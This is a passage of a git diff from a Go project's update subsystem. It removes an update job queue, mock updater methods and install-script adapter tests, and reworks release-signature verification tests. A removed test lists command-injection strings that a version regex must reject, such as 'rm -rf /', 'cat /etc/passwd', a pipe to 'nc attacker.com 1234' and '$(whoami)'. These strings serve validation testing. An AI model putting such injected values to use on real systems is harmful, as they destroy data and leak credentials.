&InstallShAdapter{}-- result := adapter.readLastLines("/nonexistent/path/file.log", 5)-- if result != "" {- t.Errorf("readLastLines() for nonexistent file = %q, want empty string", result)- }-}--func TestVersionPatternValidation(t *testing.T) {- // This tests the version pattern used in Execute() for command injection prevention- versionPattern := regexp.MustCompile(`^v?\d+\.\d+\.\d+(?:-[a-zA-Z0-9.-]+)?(?:\+[a-zA-Z0-9.-]+)?$`)-- tests := []struct {- version string- valid bool- }{- // Valid versions- {"1.0.0", true},- {"v1.0.0", true},- {"0.0.1", true},- {"v0.0.1", true},- {"10.20.30", true},- {"v10.20.30", true},- {"1.2.3-alpha", true},- {"v1.2.3-alpha", true},- {"1.2.3-beta.1", true},- {"v1.2.3-beta.1", true},- {"1.2.3-rc1", true},- {"v1.2.3-rc1", true},- {"1.2.3-alpha.beta.gamma", true},- {"1.2.3+build", true},- {"v1.2.3+build", true},- {"1.2.3+build.123", true},- {"1.2.3-alpha+build", true},- {"v1.2.3-alpha+build.456", true},-- // Invalid versions - potential injection attempts- {"1.0.0; rm -rf /", false},- {"1.0.0 && cat /etc/passwd", false},- {"1.0.0 | nc attacker.com 1234", false},- {"$(whoami)", false},- {"`id`", false},- {"1.0.0\nmalicious", false},- {"1.0.0$(touch /tmp/pwned)", false},- {"../../../etc/passwd", false},- {"", false},- {"v", false},- {"1", false},- {"1.0", false},- {"1.0.0.0", false},- {"v1.0.0.0", false},- {"latest", false},- {"master", false},- {"main", false},- {"HEAD", false},- {"1.0.0-", false}, // trailing dash- {"1.0.0+", false}, // trailing plus- {"-1.0.0", false}, // leading dash- {"v-1.0.0", false}, // invalid prefix- {"V1.0.0", false}, // uppercase V not allowed- {"1.0.0--alpha", true}, // double dash allowed (not a security risk)- {"1.0.0++build", false}, // double plus- {"1.0.0-alpha_1", false}, // underscore not allowed in prerelease- {"1.0.0+build_1", false}, // underscore not allowed in build metadata- }-- for _, tc := range tests {- t.Run(tc.version, func(t *testing.T) {- result := versionPattern.MatchString(tc.version)- if result != tc.valid {- t.Errorf("version %q: got valid=%v, want valid=%v", tc.version, result, tc.valid)- }- })- }-}-func TestDockerUpdater(t *testing.T) {updater := NewDockerUpdater()@@ -437,20 +47,6 @@ func TestDockerUpdater(t *testing.T) {t.Fatalf("run instruction = %q", got)}})-- t.Run("Execute returns error", func(t *testing.T) {- err := updater.Execute(context.Background(), UpdateRequest{}, nil)- if err == nil {- t.Error("Execute() should return error for docker deployments")- }- })-- t.Run("Rollback returns error", func(t *testing.T) {- err := updater.Rollback(context.Background(), "event-123")- if err == nil {- t.Error("Rollback() should return error for docker deployments")- }- })}func TestAURUpdater(t *testing.T) {@@ -468,17 +64,16 @@ func TestAURUpdater(t *testing.T) {}})- t.Run("Execute returns error", func(t *testing.T) {- err := updater.Execute(context.Background(), UpdateRequest{}, nil)- if err == nil {- t.Error("Execute() should return error for AUR deployments")+ t.Run("PrepareUpdate returns manual instructions", func(t *testing.T) {+ plan, err := updater.PrepareUpdate(context.Background(), UpdateRequest{Version: "v4.25.0"})+ if err != nil {+ t.Fatalf("PrepareUpdate() error = %v", err)}- })-- t.Run("Rollback returns error", func(t *testing.T) {- err := updater.Rollback(context.Background(), "event-123")- if err == nil {- t.Error("Rollback() should return error for AUR deployments")+ if plan.CanAutoUpdate {+ t.Error("AUR plan should not allow auto update")+ }+ if len(plan.Instructions) == 0 {+ t.Error("AUR plan should carry package-manager instructions")}})}@@ -500,27 +95,9 @@ func TestInstallShAdapter_GetDeploymentType(t *testing.T) {}func TestNewInstallShAdapter(t *testing.T) {- adapter := NewInstallShAdapter(nil)+ adapter := NewInstallShAdapter()if adapter == nil {t.Fatal("NewInstallShAdapter returned nil")}-- if adapter.installScriptURL == "" {- t.Error("installScriptURL should not be empty")- }-- if adapter.logDir == "" {- t.Error("logDir should not be empty")- }-- expectedURL := defaultInstallScriptLatestURL()- if adapter.installScriptURL != expectedURL {- t.Errorf("installScriptURL = %q, want %q", adapter.installScriptURL, expectedURL)- }-- expectedLogDir := "/var/log/pulse"- if adapter.logDir != expectedLogDir {- t.Errorf("logDir = %q, want %q", adapter.logDir, expectedLogDir)- }}diff --git a/internal/updates/manager.go b/internal/updates/manager.goindex 7a2cb4d807..4a17aa8a59 100644--- a/internal/updates/manager.go+++ b/internal/updates/manager.go@@ -182,7 +182,6 @@ type Manager struct {cacheTime map[string]time.Time // keyed by channelcacheDuration time.DurationprogressChan chan UpdateStatus- queue *UpdateQueuesseBroadcast *SSEBroadcasterlifecycleMu sync.RWMutexshutdownCh chan struct{}@@ -212,7 +211,6 @@ func NewManager(cfg *config.Config) *Manager {cacheTime: make(map[string]time.Time),cacheDuration: 5 * time.Minute, // Cache update checks for 5 minutesprogressChan: make(chan UpdateStatus, 100),- queue: NewUpdateQueue(),sseBroadcast: NewSSEBroadcaster(),shutdownCh: make(chan struct{}),status: UpdateStatus{diff --git a/internal/updates/manager_checksum_test.go b/internal/updates/manager_checksum_test.goindex 8cf5f94445..22bf3a2a81 100644--- a/internal/updates/manager_checksum_test.go+++ b/internal/updates/manager_checksum_test.go@@ -88,24 +88,6 @@ func TestUpdaterPrepareUpdateInstructions(t *testing.T) {}}-func TestUpdaterExecuteRollbackErrors(t *testing.T) {- ctx := context.Background()-- if err := NewDockerUpdater().Execute(ctx, UpdateRequest{}, nil); err == nil {- t.Fatal("expected docker Execute error")- }- if err := NewDockerUpdater().Rollback(ctx, "event"); err == nil {- t.Fatal("expected docker Rollback error")- }-- if err := NewAURUpdater().Execute(ctx, UpdateRequest{}, nil); err == nil {- t.Fatal("expected aur Execute error")- }- if err := NewAURUpdater().Rollback(ctx, "event"); err == nil {- t.Fatal("expected aur Rollback error")- }-}-func TestManagerCloseAndBackup(t *testing.T) {manager := NewManager(&config.Config{})manager.Close()diff --git a/internal/updates/mock_updater.go b/internal/updates/mock_updater.goindex 2fa36f1662..36b14104f4 100644--- a/internal/updates/mock_updater.go+++ b/internal/updates/mock_updater.go@@ -3,7 +3,6 @@ package updatesimport ("context""fmt"- "time")// MockUpdater simulates update plans for mock/demo environments.@@ -38,31 +37,3 @@ func (u *MockUpdater) PrepareUpdate(ctx context.Context, request UpdateRequest)RollbackSupport: true,}, nil}--func (u *MockUpdater) Execute(ctx context.Context, request UpdateRequest, progressCb ProgressCallback) error {- stages := []UpdateProgress{- {Stage: "downloading", Progress: 10, Message: "Mock downloading update..."},- {Stage: "verifying", Progress: 30, Message: "Mock verifying download..."},- {Stage: "extracting", Progress: 50, Message: "Mock extracting files..."},- {Stage: "backing-up", Progress: 70, Message: "Mock backing up data..."},- {Stage: "applying", Progress: 85, Message: "Mock applying update..."},- {Stage: "completed", Progress: 100, Message: "Mock update complete", IsComplete: true},- }-- for _, stage := range stages {- select {- case <-ctx.Done():- return ctx.Err()- default:- progressCb(stage)- time.Sleep(200 * time.Millisecond)- }- }-- return nil-}--func (u *MockUpdater) Rollback(ctx context.Context, eventID string) error {- // Nothing to rollback in mock mode- return nil-}diff --git a/internal/updates/mock_updater_additional_test.go b/internal/updates/mock_updater_additional_test.godeleted file mode 100644index 79b708eef7..0000000000--- a/internal/updates/mock_updater_additional_test.go+++ /dev/null@@ -1,13 +0,0 @@-package updates--import (- "context"- "testing"-)--func TestMockUpdaterRollback(t *testing.T) {- updater := NewMockUpdater()- if err := updater.Rollback(context.Background(), "event-1"); err != nil {- t.Fatalf("Rollback returned error: %v", err)- }-}diff --git a/internal/updates/mock_updater_test.go b/internal/updates/mock_updater_test.goindex fbbc6ffc1f..8d8989e7ae 100644--- a/internal/updates/mock_updater_test.go+++ b/internal/updates/mock_updater_test.go@@ -25,24 +25,3 @@ func TestMockUpdaterBasics(t *testing.T) {t.Fatal("unexpected plan result")}}--func TestMockUpdaterExecute(t *testing.T) {- updater := NewMockUpdater()- var stages []UpdateProgress- err := updater.Execute(context.Background(), UpdateRequest{}, func(stage UpdateProgress) {- stages = append(stages, stage)- })- if err != nil {- t.Fatalf("unexpected error: %v", err)- }- if len(stages) == 0 || !stages[len(stages)-1].IsComplete {- t.Fatalf("unexpected stages: %+v", stages)- }-- ctx, cancel := context.WithCancel(context.Background())- cancel()- err = updater.Execute(ctx, UpdateRequest{}, func(UpdateProgress) {})- if err == nil {- t.Fatal("expected context error")- }-}diff --git a/internal/updates/queue.go b/internal/updates/queue.godeleted file mode 100644index bd84fea2c8..0000000000--- a/internal/updates/queue.go+++ /dev/null@@ -1,282 +0,0 @@-package updates--import (- "context"- "sync"- "time"-- "github.com/rs/zerolog/log"-)--// JobState represents the state of an update job-type JobState string--const (- JobStateIdle JobState = "idle"- JobStateQueued JobState = "queued"- JobStateRunning JobState = "running"- JobStateCompleted JobState = "completed"- JobStateFailed JobState = "failed"- JobStateCancelled JobState = "cancelled"-)--const updatesQueueComponent = "updates_queue"--// UpdateJob represents a single update job-type UpdateJob struct {- ID string- DownloadURL string- State JobState- StartedAt time.Time- CompletedAt time.Time- Error error- Context context.Context- Cancel context.CancelFunc-}--// UpdateQueue manages the update job queue ensuring only one update runs at a time-type UpdateQueue struct {- mu sync.RWMutex- currentJob *UpdateJob- jobHistory []*UpdateJob- maxHistory int- clearTimer *time.Timer- clearDelay time.Duration-}--// NewUpdateQueue creates a new update queue-func NewUpdateQueue() *UpdateQueue {- return &UpdateQueue{- maxHistory: 10,- jobHistory: make([]*UpdateJob, 0, 10),- clearDelay: 30 * time.Second,- }-}--// Enqueue adds a new update job to the queue-// Returns the job ID and a boolean indicating if the job was accepted-func (q *UpdateQueue) Enqueue(downloadURL string) (*UpdateJob, bool) {- q.mu.Lock()- defer q.mu.Unlock()-- // Check if there's already a job running- if q.currentJob != nil && (q.currentJob.State == JobStateQueued || q.currentJob.State == JobStateRunning) {- log.Warn().- Str("component", updatesQueueComponent).- Str("action", "enqueue_rejected").- Str("current_job_id", q.currentJob.ID).- Str("current_state", string(q.currentJob.State)).- Str("requested_download_url", downloadURL).- Msg("Update job rejected: another job is already running")- return nil, false- }-- // A new job supersedes any pending clear of a previous completed job.- q.stopClearTimerLocked()-- // Create new job- ctx, cancel := context.WithCancel(context.Background())- job := &UpdateJob{- ID: generateJobID(),- DownloadURL: downloadURL,- State: JobStateQueued,- StartedAt: time.Now(),- Context: ctx,- Cancel: cancel,- }-- q.currentJob = job- log.Info().- Str("component", updatesQueueComponent).- Str("action", "enqueue").- Str("job_id", job.ID).- Str("job_state", string(job.State)).- Str("download_url", downloadURL).- Msg("Update job enqueued")-- return job, true-}--// MarkRunning marks the current job as running-func (q *UpdateQueue) MarkRunning(jobID string) bool {- q.mu.Lock()- defer q.mu.Unlock()-- if q.currentJob == nil || q.currentJob.ID != jobID {- return false- }-- previousState := q.currentJob.State- q.currentJob.State = JobStateRunning- log.Info().- Str("component", updatesQueueComponent).- Str("action", "mark_running").- Str("job_id", jobID).- Str("previous_state", string(previousState)).- Str("job_state", string(q.currentJob.State)).- Msg("Update job started")- return true-}--// MarkCompleted marks the current job as completed-func (q *UpdateQueue) MarkCompleted(jobID string, err error) {- q.mu.Lock()- defer q.mu.Unlock()-- if q.currentJob == nil || q.currentJob.ID != jobID {- return- }-- // Ensure resources tied to the job context are released.- q.currentJob.Cancel()-- q.currentJob.CompletedAt = time.Now()- if err != nil {- q.currentJob.State = JobStateFailed- q.currentJob.Error = err- log.Error().- Str("component", updatesQueueComponent).- Str("action", "complete_failed").- Err(err).- Str("job_id", jobID).- Str("job_state", string(q.currentJob.State)).- Dur("duration", q.currentJob.CompletedAt.Sub(q.currentJob.StartedAt)).- Msg("Update job failed")- } else {- q.currentJob.State = JobStateCompleted- log.Info().- Str("component", updatesQueueComponent).- Str("action", "complete_succeeded").- Str("job_id", jobID).- Str("job_state", string(q.currentJob.State)).- Dur("duration", q.currentJob.CompletedAt.Sub(q.currentJob.StartedAt)).- Msg("Update job completed")- }-- // Add to history- q.addToHistory(q.currentJob)-- // Clear current job after a short delay (allow status polling to see completion).- q.scheduleClearCurrentJobLocked(jobID)-}--// Cancel cancels the current job if it matches the given ID-func (q *UpdateQueue) Cancel(jobID string) bool {- q.mu.Lock()- defer q.mu.Unlock()-- if q.currentJob == nil || q.currentJob.ID != jobID {- return false- }-- if q.currentJob.State == JobStateQueued || q.currentJob.State == JobStateRunning {- previousState := q.currentJob.State- q.currentJob.Cancel()- q.currentJob.State = JobStateCancelled- q.currentJob.CompletedAt = time.Now()- log.Info().- Str("component", updatesQueueComponent).- Str("action", "cancel").- Str("job_id", jobID).- Str("previous_state", string(previousState)).- Str("job_state", string(q.currentJob.State)).- Msg("Update job cancelled")-- // Add to history- q.addToHistory(q.currentJob)-- // Clear current job after a short delay (allow status polling to see cancellation).- q.scheduleClearCurrentJobLocked(jobID)-- return true- }-- return false-}--// GetCurrentJob returns the current job if any-func (q *UpdateQueue) GetCurrentJob() *UpdateJob {- q.mu.RLock()- defer q.mu.RUnlock()- return cloneUpdateJob(q.currentJob)-}--// IsRunning returns true if there's a job currently running or queued-func (q *UpdateQueue) IsRunning() bool {- q.mu.RLock()- defer q.mu.RUnlock()- return q.currentJob != nil && (q.currentJob.State == JobStateQueued || q.currentJob.State == JobStateRunning)-}--// GetHistory returns the job history-func (q *UpdateQueue) GetHistory() []*UpdateJob {- q.mu.RLock()- defer q.mu.RUnlock()-- // Return a deep copy of job structs to avoid exposing mutable internal state.- history := make([]*UpdateJob, len(q.jobHistory))- for i, job := range q.jobHistory {- history[i] = cloneUpdateJob(job)- }- return history-}--// addToHistory adds a job to the history (must be called with lock held)-func (q *UpdateQueue) addToHistory(job *UpdateJob) {- q.jobHistory = append(q.jobHistory, job)-- // Keep only the last N jobs- if len(q.jobHistory) > q.maxHistory {- q.jobHistory = q.jobHistory[len(q.jobHistory)-q.maxHistory:]- }-}--// stopClearTimerLocked stops and clears the delayed current-job cleanup timer.-// Caller must hold q.mu.-func (q *UpdateQueue) stopClearTimerLocked() {- if q.clearTimer == nil {- return- }- q.clearTimer.Stop()- q.clearTimer = nil-}--// scheduleClearCurrentJobLocked schedules delayed cleanup for the provided job ID.-// Caller must hold q.mu.-func (q *UpdateQueue) scheduleClearCurrentJobLocked(jobID string) {- q.stopClearTimerLocked()-- delay := q.clearDelay- if delay <= 0 {- delay = 30 * time.Second- }-- var timer *time.Timer- timer = time.AfterFunc(delay, func() {- q.mu.Lock()- defer q.mu.Unlock()-- // Only clear the job when the timer still corresponds to the active cleanup schedule.- if q.clearTimer == timer {- q.clearTimer = nil- }- if q.currentJob != nil && q.currentJob.ID == jobID {- q.currentJob = nil- }- })- q.clearTimer = timer-}--// generateJobID generates a unique job ID-func generateJobID() string {- return time.Now().Format("20060102-150405.000")-}--func cloneUpdateJob(job *UpdateJob) *UpdateJob {- if job == nil {- return nil- }-- jobCopy := *job- return &jobCopy-}diff --git a/internal/updates/queue_observability_test.go b/internal/updates/queue_observability_test.godeleted file mode 100644index 7b1813e3e1..0000000000--- a/internal/updates/queue_observability_test.go+++ /dev/null@@ -1,138 +0,0 @@-package updates--import (- "bytes"- "encoding/json"- "errors"- "strings"- "testing"-- "github.com/rs/zerolog"- "github.com/rs/zerolog/log"-)--func TestUpdateQueueEnqueueRejectLogsStructuredContext(t *testing.T) {- var buf bytes.Buffer- restore := setUpdateQueueTestLogger(&buf)- defer restore()-- queue := NewUpdateQueue()- job, accepted := queue.Enqueue("https://example.com/update1.tar.gz")- if !accepted || job == nil {- t.Fatal("expected first enqueue to succeed")- }- if !queue.MarkRunning(job.ID) {- t.Fatal("expected mark running to succeed")- }-- buf.Reset()-- if _, accepted := queue.Enqueue("https://example.com/update2.tar.gz"); accepted {- t.Fatal("expected second enqueue to be rejected")- }-- entry := singleLogEntry(t, buf.String())- assertLogStringField(t, entry, "component", updatesQueueComponent)- assertLogStringField(t, entry, "action", "enqueue_rejected")- assertLogStringField(t, entry, "current_job_id", job.ID)- assertLogStringField(t, entry, "current_state", string(JobStateRunning))- assertLogStringField(t, entry, "requested_download_url", "https://example.com/update2.tar.gz")-}--func TestUpdateQueueMarkCompletedFailureLogsStructuredContext(t *testing.T) {- var buf bytes.Buffer- restore := setUpdateQueueTestLogger(&buf)- defer restore()-- queue := NewUpdateQueue()- job, accepted := queue.Enqueue("https://example.com/update.tar.gz")- if !accepted || job == nil {- t.Fatal("expected enqueue to succeed")- }- if !queue.MarkRunning(job.ID) {- t.Fatal("expected mark running to succeed")- }-- buf.Reset()-- queue.MarkCompleted(job.ID, errors.New("boom"))-- entry := singleLogEntry(t, buf.String())- assertLogStringField(t, entry, "component", updatesQueueComponent)- assertLogStringField(t, entry, "action", "complete_failed")- assertLogStringField(t, entry, "job_id", job.ID)- assertLogStringField(t, entry, "job_state", string(JobStateFailed))- assertLogStringField(t, entry, "error", "boom")- if _, ok := entry["duration"]; !ok {- t.Fatal("expected duration field in failure log")- }-}--func TestUpdateQueueCancelLogsStructuredContext(t *testing.T) {- var buf bytes.Buffer- restore := setUpdateQueueTestLogger(&buf)- defer restore()-- queue := NewUpdateQueue()- job, accepted := queue.Enqueue("https://example.com/update.tar.gz")- if !accepted || job == nil {- t.Fatal("expected enqueue to succeed")- }- if !queue.MarkRunning(job.ID) {- t.Fatal("expected mark running to succeed")- }-- buf.Reset()-- if !queue.Cancel(job.ID) {- t.Fatal("expected cancel to succeed")- }-- entry := singleLogEntry(t, buf.String())- assertLogStringField(t, entry, "component", updatesQueueComponent)- assertLogStringField(t, entry, "action", "cancel")- assertLogStringField(t, entry, "job_id", job.ID)- assertLogStringField(t, entry, "previous_state", string(JobStateRunning))- assertLogStringField(t, entry, "job_state", string(JobStateCancelled))-}--func setUpdateQueueTestLogger(buf *bytes.Buffer) func() {- original := log.Logger- log.Logger = zerolog.New(buf).Level(zerolog.DebugLevel)- return func() {- log.Logger = original- }-}--func singleLogEntry(t *testing.T, raw string) map[string]any {- t.Helper()-- lines := strings.Split(strings.TrimSpace(raw), "\n")- if len(lines) != 1 {- t.Fatalf("expected exactly one log line, got %d: %q", len(lines), raw)- }-- var parsed map[string]any- if err := json.Unmarshal([]byte(lines[0]), &parsed); err != nil {- t.Fatalf("failed to parse log entry: %v", err)- }- return parsed-}--func assertLogStringField(t *testing.T, entry map[string]any, field, want string) {- t.Helper()-- raw, ok := entry[field]- if !ok {- t.Fatalf("missing field %q in log entry: %+v", field, entry)- }-- got, ok := raw.(string)- if !ok {- t.Fatalf("field %q has non-string value %#v", field, raw)- }-- if got != want {- t.Fatalf("field %q = %q, want %q", field, got, want)- }-}diff --git a/internal/updates/queue_test.go b/internal/updates/queue_test.godeleted file mode 100644index 100892784d..0000000000--- a/internal/updates/queue_test.go+++ /dev/null@@ -1,323 +0,0 @@-package updates--import (- "testing"- "time"-)--func TestUpdateQueue_Enqueue(t *testing.T) {- queue := NewUpdateQueue()-- // Test successful enqueue- job1, accepted := queue.Enqueue("https://example.com/update1.tar.gz")- if !accepted {- t.Fatal("First job should be accepted")- }- if job1 == nil {- t.Fatal("Job should not be nil")- }- if job1.State != JobStateQueued {- t.Errorf("Job state should be queued, got %s", job1.State)- }-- // Test rejection when another job is running- queue.MarkRunning(job1.ID)- job2, accepted := queue.Enqueue("https://example.com/update2.tar.gz")- if accepted {- t.Fatal("Second job should be rejected when first is running")- }- if job2 != nil {- t.Error("Rejected job should be nil")- }-}--func TestUpdateQueue_MarkRunning(t *testing.T) {- queue := NewUpdateQueue()-- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- if job.State != JobStateQueued {- t.Errorf("Initial state should be queued, got %s", job.State)- }-- success := queue.MarkRunning(job.ID)- if !success {- t.Fatal("MarkRunning should succeed")- }-- currentJob := queue.GetCurrentJob()- if currentJob.State != JobStateRunning {- t.Errorf("State should be running, got %s", currentJob.State)- }-- // Test marking wrong job ID- success = queue.MarkRunning("wrong-id")- if success {- t.Error("MarkRunning with wrong ID should fail")- }-}--func TestUpdateQueue_GetCurrentJobReturnsDefensiveCopy(t *testing.T) {- queue := NewUpdateQueue()- job, accepted := queue.Enqueue("https://example.com/update.tar.gz")- if !accepted || job == nil {- t.Fatal("expected enqueue to succeed")- }-- snapshot := queue.GetCurrentJob()- if snapshot == nil {- t.Fatal("expected current job snapshot")- }-- snapshot.State = JobStateFailed- snapshot.DownloadURL = "tampered"-- current := queue.GetCurrentJob()- if current == nil {- t.Fatal("expected current job")- }- if current.State != JobStateQueued {- t.Fatalf("expected queued state to remain unchanged, got %s", current.State)- }- if current.DownloadURL != "https://example.com/update.tar.gz" {- t.Fatalf("expected original download URL, got %q", current.DownloadURL)- }-}--func TestUpdateQueue_MarkCompleted(t *testing.T) {- queue := NewUpdateQueue()-- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- queue.MarkRunning(job.ID)-- // Test successful completion- queue.MarkCompleted(job.ID, nil)- currentJob := queue.GetCurrentJob()- if currentJob.State != JobStateCompleted {- t.Errorf("State should be completed, got %s", currentJob.State)- }- if currentJob.Error != nil {- t.Error("Error should be nil for successful completion")- }-- // Check history- history := queue.GetHistory()- if len(history) != 1 {- t.Errorf("History should contain 1 job, got %d", len(history))- }-}--func TestUpdateQueue_MarkCompletedWithError(t *testing.T) {- queue := NewUpdateQueue()-- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- queue.MarkRunning(job.ID)-- // Test failed completion- testErr := &testError{"test error"}- queue.MarkCompleted(job.ID, testErr)-- currentJob := queue.GetCurrentJob()- if currentJob.State != JobStateFailed {- t.Errorf("State should be failed, got %s", currentJob.State)- }- if currentJob.Error == nil {- t.Error("Error should not be nil for failed completion")- }- if currentJob.Error.Error() != "test error" {- t.Errorf("Error message should be 'test error', got %s", currentJob.Error.Error())- }-}--func TestUpdateQueue_Cancel(t *testing.T) {- queue := NewUpdateQueue()-- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- queue.MarkRunning(job.ID)-- success := queue.Cancel(job.ID)- if !success {- t.Fatal("Cancel should succeed")- }-- currentJob := queue.GetCurrentJob()- if currentJob.State != JobStateCancelled {- t.Errorf("State should be cancelled, got %s", currentJob.State)- }-- // Verify context was cancelled- select {- case <-currentJob.Context.Done():- // Context was cancelled as expected- case <-time.After(100 * time.Millisecond):- t.Error("Context should be cancelled")- }-}--func TestUpdateQueue_IsRunning(t *testing.T) {- queue := NewUpdateQueue()-- if queue.IsRunning() {- t.Error("Queue should not be running initially")- }-- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- if !queue.IsRunning() {- t.Error("Queue should be running after enqueue")- }-- queue.MarkRunning(job.ID)- if !queue.IsRunning() {- t.Error("Queue should be running after marking as running")- }-- queue.MarkCompleted(job.ID, nil)- // Note: IsRunning will still return true for a short period after completion- // This is by design to allow status polling-}--func TestUpdateQueue_MarkCompletedClearsAfterDelay(t *testing.T) {- queue := NewUpdateQueue()- queue.clearDelay = 20 * time.Millisecond-- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- queue.MarkRunning(job.ID)- queue.MarkCompleted(job.ID, nil)-- if queue.GetCurrentJob() == nil {- t.Fatal("current job should be visible immediately after completion")- }-- time.Sleep(50 * time.Millisecond)- if queue.GetCurrentJob() != nil {- t.Fatal("current job should be cleared after delay")- }-}--func TestUpdateQueue_CancelAddsHistoryAndClearsAfterDelay(t *testing.T) {- queue := NewUpdateQueue()- queue.clearDelay = 20 * time.Millisecond-- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- queue.MarkRunning(job.ID)-- if ok := queue.Cancel(job.ID); !ok {- t.Fatal("Cancel should succeed")- }-- history := queue.GetHistory()- if len(history) != 1 {- t.Fatalf("History should contain 1 cancelled job, got %d", len(history))- }- if history[0].State != JobStateCancelled {- t.Fatalf("history state = %s, want %s", history[0].State, JobStateCancelled)- }-- time.Sleep(50 * time.Millisecond)- if queue.GetCurrentJob() != nil {- t.Fatal("current job should be cleared after cancellation delay")- }-}--func TestUpdateQueue_History(t *testing.T) {- queue := NewUpdateQueue()-- // Add multiple jobs- for i := 0; i < 5; i++ {- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- queue.MarkRunning(job.ID)- queue.MarkCompleted(job.ID, nil)-- // Wait for the job to be cleared from current- time.Sleep(50 * time.Millisecond)- }-- history := queue.GetHistory()- if len(history) != 5 {- t.Errorf("History should contain 5 jobs, got %d", len(history))- }-- // Verify history ordering (should be chronological)- for i := 1; i < len(history); i++ {- if history[i].StartedAt.Before(history[i-1].StartedAt) {- t.Error("History should be in chronological order")- }- }-}--func TestUpdateQueue_MaxHistory(t *testing.T) {- queue := NewUpdateQueue()- queue.maxHistory = 3-- // Add more jobs than maxHistory- for i := 0; i < 5; i++ {- job, _ := queue.Enqueue("https://example.com/update.tar.gz")- queue.MarkRunning(job.ID)- queue.MarkCompleted(job.ID, nil)-- // Wait for the job to be cleared- time.Sleep(50 * time.Millisecond)- }-- history := queue.GetHistory()- if len(history) > queue.maxHistory {- t.Errorf("History should be limited to %d jobs, got %d", queue.maxHistory, len(history))- }-}--func TestUpdateQueue_GetCurrentJobReturnsCopy(t *testing.T) {- queue := NewUpdateQueue()-- job, accepted := queue.Enqueue("https://example.com/update.tar.gz")- if !accepted {- t.Fatal("job should be accepted")- }- queue.MarkRunning(job.ID)-- current := queue.GetCurrentJob()- if current == nil {- t.Fatal("expected current job")- }- current.State = JobStateFailed-- again := queue.GetCurrentJob()- if again == nil {- t.Fatal("expected current job")- }- if again.State != JobStateRunning {- t.Fatalf("internal state mutated through returned job pointer: %s", again.State)- }-}--func TestUpdateQueue_GetHistoryReturnsCopies(t *testing.T) {- queue := NewUpdateQueue()-- job, accepted := queue.Enqueue("https://example.com/update.tar.gz")- if !accepted {- t.Fatal("job should be accepted")- }- queue.MarkRunning(job.ID)- queue.MarkCompleted(job.ID, nil)-- history := queue.GetHistory()- if len(history) != 1 {- t.Fatalf("expected one history entry, got %d", len(history))- }- history[0].State = JobStateFailed-- again := queue.GetHistory()- if len(again) != 1 {- t.Fatalf("expected one history entry, got %d", len(again))- }- if again[0].State != JobStateCompleted {- t.Fatalf("internal history mutated through returned pointer: %s", again[0].State)- }-}--// Helper type for testing-type testError struct {- msg string-}--func (e *testError) Error() string {- return e.msg-}diff --git a/internal/updates/signature.go b/internal/updates/signature.goindex 303011bc43..9cf3394333 100644--- a/internal/updates/signature.go+++ b/internal/updates/signature.go@@ -112,34 +112,6 @@ func (m *Manager) downloadAndVerifyReleaseSignature(ctx context.Context, assetURreturn readSignatureAndVerify(ctx, resp, sigURL.String(), assetPath)}-// fetchAndVerifyReleaseSignature is the http.Get-based counterpart to-// downloadAndVerifyReleaseSignature, used by callers that aren't on Manager.-// It is a package-level variable so tests can stub the full fetch+verify-// without standing up a real .sshsig endpoint.-var fetchAndVerifyReleaseSignature = fetchAndVerifyReleaseSignatureReal--func fetchAndVerifyReleaseSignatureReal(ctx context.Context, assetURL string, assetPath string) error {- parsed, err := url.Parse(assetURL)- if err != nil {- return fmt.Errorf("parse asset URL: %w", err)- }- sigURL := signatureURLFor(parsed)-- req, err := http.NewRequestWithContext(ctx, http.MethodGet, sigURL.String(), nil)- if err != nil {- return fmt.Errorf("build signature request: %w", err)- }-- client := &http.Client{Timeout: signatureFetchTimeout}- resp, err := client.Do(req)- if err != nil {- return fmt.Errorf("fetch %s: %w", sigURL.String(), err)- }- defer resp.Body.Close()-- return readSignatureAndVerify(ctx, resp, sigURL.String(), assetPath)-}-func readSignatureAndVerify(ctx context.Context, resp *http.Response, sigURL string, assetPath string) error {if resp.StatusCode != http.StatusOK {return fmt.Errorf("signature URL %s returned status %d", sigURL, resp.StatusCode)diff --git a/internal/updates/signature_test.go b/internal/updates/signature_test.goindex ec57718a12..0c28f60894 100644--- a/internal/updates/signature_test.go+++ b/internal/updates/signature_test.go@@ -12,20 +12,15 @@ import ("testing")-// stubReleaseSignatureVerification replaces the package-level signature-// verifier and fetch-and-verify helper with no-op stubs so tests that-// exercise update paths don't need ssh-keygen or a real .sshsig endpoint.-// The previous values are restored via t.Cleanup.-func stubReleaseSignatureVerification(t *testing.T) {+// downloadAndVerifyReleaseSignatureForTest resolves rawURL and runs the+// manager's fetch-and-verify path against it.+func downloadAndVerifyReleaseSignatureForTest(t *testing.T, rawURL, assetPath string) error {t.Helper()- prevFetch := fetchAndVerifyReleaseSignature- prevVerify := verifyReleaseSignatureFunc- fetchAndVerifyReleaseSignature = func(ctx context.Context, assetURL, assetPath string) error { return nil }- verifyReleaseSignatureFunc = func(ctx context.Context, targetPath, signaturePath string) error { return nil }- t.Cleanup(func() {- fetchAndVerifyReleaseSignature = prevFetch- verifyReleaseSignatureFunc = prevVerify- })+ parsed, err := url.Parse(rawURL)+ if err != nil {+ t.Fatalf("parse %q: %v", rawURL, err)+ }+ return NewManager(nil).downloadAndVerifyReleaseSignature(context.Background(), parsed, assetPath)}func TestSignatureURLForAppendsSshsig(t *testing.T) {@@ -40,7 +35,7 @@ func TestSignatureURLForAppendsSshsig(t *testing.T) {}}-func TestFetchAndVerifyReleaseSignatureSuccess(t *testing.T) {+func TestManagerDownloadAndVerifyReleaseSignatureSuccess(t *testing.T) {dir := t.TempDir()assetPath := filepath.Join(dir, "asset.bin")if err := os.WriteFile(assetPath, []byte("payload"), 0600); err != nil {@@ -69,12 +64,12 @@ func TestFetchAndVerifyReleaseSignatureSuccess(t *testing.T) {}t.Cleanup(func() { verifyReleaseSignatureFunc = prev })- if err := fetchAndVerifyReleaseSignatureReal(context.Background(), server.URL+"/asset.bin", assetPath); err != nil {- t.Fatalf("fetchAndVerifyReleaseSignatureReal error: %v", err)+ if err := downloadAndVerifyReleaseSignatureForTest(t, server.URL+"/asset.bin", assetPath); err != nil {+ t.Fatalf("downloadAndVerifyReleaseSignature error: %v", err)}}-func TestFetchAndVerifyReleaseSignatureFailsOnMissingSidecar(t *testing.T) {+func 